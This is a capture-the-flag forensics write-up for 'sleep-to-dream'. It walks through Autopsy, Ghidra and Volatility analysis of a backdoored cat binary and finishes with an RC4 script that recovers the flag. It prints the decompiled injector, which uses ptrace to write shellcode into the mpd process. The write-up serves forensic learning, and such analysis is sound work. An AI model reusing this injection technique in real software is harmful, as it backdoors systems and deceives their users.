forens - sleep-to-dream#

This challenge was solved in collaboration with abyts, where credit for this writeup also belongs to him.

In this challenge, we are provided a disk image, alongside a memdump. The challenge mentions something about the computer being backdoored, so lets begin by looking for weird and suspicious files and binaries.

The sane part#

Putting the disk image into autopsy reveals that the user “fiona” has a few text files containing lyrics in her home directory.

autopsy interface

Suspiciously, the text fiile 4 - Criminal.txt is empty. Maybe the backdoor did something to this file?

autopsy interface

We also observe that there is a shell script that iterates over all the lyrics and runs cat on them.

autopsy interface

Hmm, maybe the cat binary has something to do with this. Let us take a deeper look into what the cat binary actually entails.

After extracting the cat binary from autopsy, we throw the binary into ghidra for further analysis. After some cursory glances, we come across this function with this decompilation:

ghidra interface

1
undefined8 initialize(char *param_1)
2

3
{
4
  long lVar1;
5
  undefined8 uVar2;
6
  int iVar3;
7
  uint __pid;
8
  long lVar4;
9
  undefined8 *puVar5;
10
  undefined8 *puVar6;
11
  undefined8 *puVar7;
12
  undefined8 uVar8;
13
  int local_6ec;
14
  char *local_6e8;
15
  undefined8 uStack_6e0;
16
  undefined8 local_6d8 [213];
17
  undefined8 local_30;
18

19
  uVar8 = 0;
20
  puVar5 = local_6d8;
21
  puVar6 = &DAT_00108a40;
22
  puVar7 = puVar5;
23
  for (lVar4 = 0xd5; lVar4 != 0; lVar4 = lVar4 + -1) {
24
    *puVar7 = *puVar6;
25
    puVar6 = puVar6 + 1;
26
    puVar7 = puVar7 + 1;
27
  }
28
  iVar3 = strcmp(param_1,`4 - Criminal.txt`);
29
  if (iVar3 == 0) {
30
    uVar8 = 0;
31
    puts("\n\n\n\n");
32
    __pid = fork();
33
    local_6e8 = "/usr/bin/mpd";
34
    uStack_6e0 = 0;
35
    if (__pid == 0) {
36
      uVar8 = 0xffffffff;
37
      lVar4 = ptrace(PTRACE_TRACEME,0,0,0);
38
      if (lVar4 != -1) {
39
        uVar8 = 1;
40
        execve("/usr/bin/mpd",&local_6e8,(char **)0x0);
41
      }
42
    }
43
    else {
44
      waitpid(__pid,&local_6ec,0);
45
      lVar4 = get_entry_point(__pid);
46
      lVar4 = lVar4 - (long)puVar5;
47
      do {
48
        uVar2 = *puVar5;
49
        lVar1 = lVar4 + (long)puVar5;
50
        puVar5 = puVar5 + 1;
51
        ptrace(PTRACE_POKETEXT,(ulong)__pid,lVar1,uVar2);
52
      } while (puVar5 != &local_30);
53
      ptrace(PTRACE_DETACH,(ulong)__pid,0,0);
54
    }
55
  }
56
  return uVar8;
57
}

Looking through the decompiled C code, it appears that the cat binary is attempting to inject some sort of shellcode into the mpd binary. The backdoor checks if the file name is 4 - Criminal.txt, and if such, copies some shellcode from DAT_00108a40 to local_6d8.

Skipping down to the data below the DAT_00108a40 section, it appears that the shell code is doing some sort of RC4 encryption is happening with the key “fetchboltcutters”. Maybe the contents of 4 - Criminal.txt was encrypted using RC4, and that the original contents contain the flag?

ghidra interface

But where could the ciphertext be? As previously mentioned, 4 - Criminal.txt appears to only consist of 128 bytes of 0x0. Maybe that is what the memdump is for? After all, the ciphertext must be stored somewhere in memory.

In order to interact with this memdump, we will be using Volatility 3.

The less sane part#

Using vol -f mem.dmp banners.Banner, we can observe that the memdump was created on a system running Debian 13, kernel version 6.12.57.

term interface

After acquiring the correct volatility 3 symbols for this distribution and kernel, we can now use vol -f mem.dmp linux.pslist | grep "mpd" to take a look at the mpd process when this memdump was taken.

term interface

From here, we can see that the process mpd is running with pid 764. Now, we need to figure out which area in memory is the shellcode injected too. Because the shellcode injected must be executable, we are looking for an area in memory for this process with rwx permissions. We can do this using the command vol -f mem.dmp linux.proc.Maps --pid 764 | grep "rwx".

term interface

Now we know that the memory area 0x564f5bc47000 to 0x564f5bc4b000 is the rwx region where the shellcode is injected to. Let us extract the memory regions of the mpd binary using vol -f mem.dmp linux.elfs --pid 764 --dump.

term interface

Note that only the first dump is of interest to us, as the other 329 dumps are just dumps of the libraries, of which are unrelated to the shellcode injection. Inspecting pid.764.mpd.0x564f5bbe5000.dmp in ghidra (yes ghidra because why not), we jump to offset 0x62000, which is the start of the rwx segment of the memory. Scrolling down, we notice a reference to the filename at 0x00163182, with some what seems to be gibberish assembly after forcing ghidra to disassemble this memory region (in a futile attempt to locate the exact place where the ciphertext is by rev-ing the shellcode).

ghidra interface

Using some intuition, the ciphertext cant be that far off from the file name, can it? Upon further observation, we notice this segment:

ghidra interface

66 65 74 63 68 62 6f 6c 74 63 75 74 74 65 72 73… Hmm… Sounds like “fetchboltcutters”! Could the ciphertext be located between the key and the filename? After all, it cant be assembly, since it is gibberish. With the assistance of Claude to cook up a quick RC4 decryption function, we whip up a python script to decode the data between the key and filename:

1
RC4_KEY = b"fetchboltcutters"
2

3
# Ciphertext bytes from Ghidra disassembly at LAB_00163103
4
# (Ghidra shows them as instructions but they're actually encrypted data)
5
CIPHERTEXT_HEX = """
6
2e a2 74 f7 99 0e c0 bf da 79 6c 58 00 dc 73 bc
7
cb 48 25 5e d1 70 a1 0c 42 e2 73 80 29 0a 23 bd
8
22 af 9b 2f d7 80 c3 f6 d6 ba ca f2 23 ae 71 50
9
a0 b9 65 82 6e d7 a8 56 63 2b 1c 4e 49 f9 df 42
10
8e 6e e4 29 bc 6e 8f 03 ed ff 22 c8 c3 0d f4 17
11
31 a0 e1 ff c8 62 80 ce 26 aa 08 2d f0 75 51 28
12
fd 41 41 f7 ae 89 1f 70 97 12 8b 15 ad 2c 06 82
13
b4 a1 b1 e1 aa 4b af 29 aa 51 b8 72 98 7f 9c
14
"""
15

16

17
def rc4(key: bytes, data: bytes) -> bytes:
18
    S = list(range(256))
19
    j = 0
20
    for i in range(256):
21
        j = (j + S[i] + key[i % len(key)]) % 256
22
        S[i], S[j] = S[j], S[i]
23
    i = j = 0
24
    out = bytearray()
25
    for b in data:
26
        i = (i + 1) % 256
27
        j = (j + S[i]) % 256
28
        S[i], S[j] = S[j], S[i]
29
        out.append(b ^ S[(S[i] + S[j]) % 256])
30
    return bytes(out)
31

32

33
def main():
34
    # Parse hex bytes
35
    ciphertext = bytes.fromhex(CIPHERTEXT_HEX.replace('\n', '').replace(' ', ''))
36

37
    print(f"Ciphertext length: {len(ciphertext)} bytes")
38
    print(f"RC4 key: {RC4_KEY.decode()}")
39
    print("=" * 60)
40

41
    plaintext = rc4(RC4_KEY, ciphertext)
42

43
    print("\nDecrypted plaintext:")
44
    print(plaintext.decode("utf-8", errors="replace"))
45
    print("\n" + "=" * 60)
46

47
    with open("flag.txt", "wb") as f:
48
        f.write(plaintext)
49
    print("Saved to flag.txt")
50

51

52
if __name__ == "__main__":
53
    main()

Running the script, we get:

term interface

Unfortunately, our team was unable to solve this during the ctf (despite having 2 people spend almost 4 hours on this challenge). Nontheless, this challenge was a really fun one to upsolve, and if we had a proper forensics setup with volatility with symbols set up, this could have been much less time-consuming.